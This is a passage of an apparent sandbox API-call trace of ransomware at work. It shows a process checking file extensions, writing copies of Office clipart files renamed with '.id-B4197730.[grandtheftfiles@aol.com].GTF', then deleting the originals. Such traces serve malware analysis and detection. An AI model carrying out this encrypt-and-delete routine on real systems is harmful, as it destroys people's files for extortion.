	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString=".zip") returned 4
	[0168.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.006] lstrlenW (lpString=".rar") returned 4
	[0168.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString=".bz2") returned 4
	[0168.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString=".7z") returned 3
	[0168.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.007] lstrlenW (lpString=".dbf") returned 4
	[0168.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.007] lstrlenW (lpString=".1cd") returned 4
	[0168.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.007] lstrlenW (lpString=".jpg") returned 4
	[0168.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.007] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.007] lstrlenW (lpString="J0107130.WMF") returned 12
	[0168.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.008] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=27084) returned 1
	[0168.008] CloseHandle (hObject=0x560) returned 1
	[0168.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220
	[0168.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.419] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.419] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.420] GetLastError () returned 0x0
	[0168.420] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x69cc, lpOverlapped=0x0) returned 1
	[0168.422] WriteFile (in: hFile=0x53c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x69d0, lpOverlapped=0x0) returned 1
	[0168.424] ReadFile (in: hFile=0x374, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.424] WriteFile (in: hFile=0x53c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.424] SetEndOfFile (hFile=0x53c) returned 1
	[0168.424] CloseHandle (hObject=0x53c) returned 1
	[0168.424] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.424] SetEndOfFile (hFile=0x374) returned 1
	[0168.427] CloseHandle (hObject=0x374) returned 1
	[0168.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1
	[0168.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.428] lstrlenW (lpString=".doc") returned 4
	[0168.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString=".docx") returned 5
	[0168.428] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.428] lstrlenW (lpString=".pdf") returned 4
	[0168.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString=".xls") returned 4
	[0168.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.428] lstrlenW (lpString=".xlsx") returned 5
	[0168.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.428] lstrlenW (lpString=".ppt") returned 4
	[0168.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.428] lstrlenW (lpString=".zip") returned 4
	[0168.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.428] lstrlenW (lpString=".rar") returned 4
	[0168.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString=".bz2") returned 4
	[0168.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString=".7z") returned 3
	[0168.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.428] lstrlenW (lpString=".dbf") returned 4
	[0168.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.428] lstrlenW (lpString=".1cd") returned 4
	[0168.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".jpg") returned 4
	[0168.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".doc") returned 4
	[0168.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString=".docx") returned 5
	[0168.429] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.429] lstrlenW (lpString=".pdf") returned 4
	[0168.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString=".xls") returned 4
	[0168.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.429] lstrlenW (lpString=".xlsx") returned 5
	[0168.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.429] lstrlenW (lpString=".ppt") returned 4
	[0168.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".zip") returned 4
	[0168.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.429] lstrlenW (lpString=".rar") returned 4
	[0168.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString=".bz2") returned 4
	[0168.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString=".7z") returned 3
	[0168.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".dbf") returned 4
	[0168.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".1cd") returned 4
	[0168.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0168.429] lstrlenW (lpString=".jpg") returned 4
	[0168.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.673] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.673] lstrlenW (lpString="J0107192.WMF") returned 12
	[0168.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.674] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=9968) returned 1
	[0168.674] CloseHandle (hObject=0x540) returned 1
	[0168.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220
	[0168.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.675] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.675] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.676] GetLastError () returned 0x0
	[0168.676] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x26f0, lpOverlapped=0x0) returned 1
	[0168.690] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2700, lpOverlapped=0x0) returned 1
	[0168.691] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.691] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.691] SetEndOfFile (hFile=0x534) returned 1
	[0168.692] CloseHandle (hObject=0x534) returned 1
	[0168.692] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.692] SetEndOfFile (hFile=0x540) returned 1
	[0168.697] CloseHandle (hObject=0x540) returned 1
	[0168.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1
	[0168.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.698] lstrlenW (lpString=".doc") returned 4
	[0168.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.698] lstrlenW (lpString=".docx") returned 5
	[0168.698] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.698] lstrlenW (lpString=".pdf") returned 4
	[0168.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.698] lstrlenW (lpString=".xls") returned 4
	[0168.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.698] lstrlenW (lpString=".xlsx") returned 5
	[0168.698] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.698] lstrlenW (lpString=".ppt") returned 4
	[0168.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.698] lstrlenW (lpString=".zip") returned 4
	[0168.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.698] lstrlenW (lpString=".rar") returned 4
	[0168.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.698] lstrlenW (lpString=".bz2") returned 4
	[0168.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.698] lstrlenW (lpString=".7z") returned 3
	[0168.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.698] lstrlenW (lpString=".dbf") returned 4
	[0168.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString=".1cd") returned 4
	[0168.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString=".jpg") returned 4
	[0168.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString=".doc") returned 4
	[0168.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString=".docx") returned 5
	[0168.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.699] lstrlenW (lpString=".pdf") returned 4
	[0168.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString=".xls") returned 4
	[0168.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.699] lstrlenW (lpString=".xlsx") returned 5
	[0168.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.699] lstrlenW (lpString=".ppt") returned 4
	[0168.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString=".zip") returned 4
	[0168.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.699] lstrlenW (lpString=".rar") returned 4
	[0168.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString=".bz2") returned 4
	[0168.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString=".7z") returned 3
	[0168.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.699] lstrlenW (lpString=".dbf") returned 4
	[0168.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.700] lstrlenW (lpString=".1cd") returned 4
	[0168.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0168.700] lstrlenW (lpString=".jpg") returned 4
	[0168.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.700] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.700] lstrlenW (lpString="J0107254.WMF") returned 12
	[0168.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.701] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=20212) returned 1
	[0168.701] CloseHandle (hObject=0x540) returned 1
	[0168.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220
	[0168.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.704] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.704] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.704] GetLastError () returned 0x0
	[0168.704] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4ef4, lpOverlapped=0x0) returned 1
	[0168.708] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4f00, lpOverlapped=0x0) returned 1
	[0168.709] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.709] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.709] SetEndOfFile (hFile=0x534) returned 1
	[0168.709] CloseHandle (hObject=0x534) returned 1
	[0168.709] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.709] SetEndOfFile (hFile=0x540) returned 1
	[0168.713] CloseHandle (hObject=0x540) returned 1
	[0168.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1
	[0168.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.714] lstrlenW (lpString=".doc") returned 4
	[0168.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.714] lstrlenW (lpString=".docx") returned 5
	[0168.714] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.714] lstrlenW (lpString=".pdf") returned 4
	[0168.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.714] lstrlenW (lpString=".xls") returned 4
	[0168.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.714] lstrlenW (lpString=".xlsx") returned 5
	[0168.714] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.715] lstrlenW (lpString=".ppt") returned 4
	[0168.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString=".zip") returned 4
	[0168.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.715] lstrlenW (lpString=".rar") returned 4
	[0168.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString=".bz2") returned 4
	[0168.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString=".7z") returned 3
	[0168.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString=".dbf") returned 4
	[0168.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString=".1cd") returned 4
	[0168.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString=".jpg") returned 4
	[0168.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.715] lstrlenW (lpString=".doc") returned 4
	[0168.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString=".docx") returned 5
	[0168.715] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.715] lstrlenW (lpString=".pdf") returned 4
	[0168.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.715] lstrlenW (lpString=".xls") returned 4
	[0168.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.715] lstrlenW (lpString=".xlsx") returned 5
	[0168.715] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.715] lstrlenW (lpString=".ppt") returned 4
	[0168.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
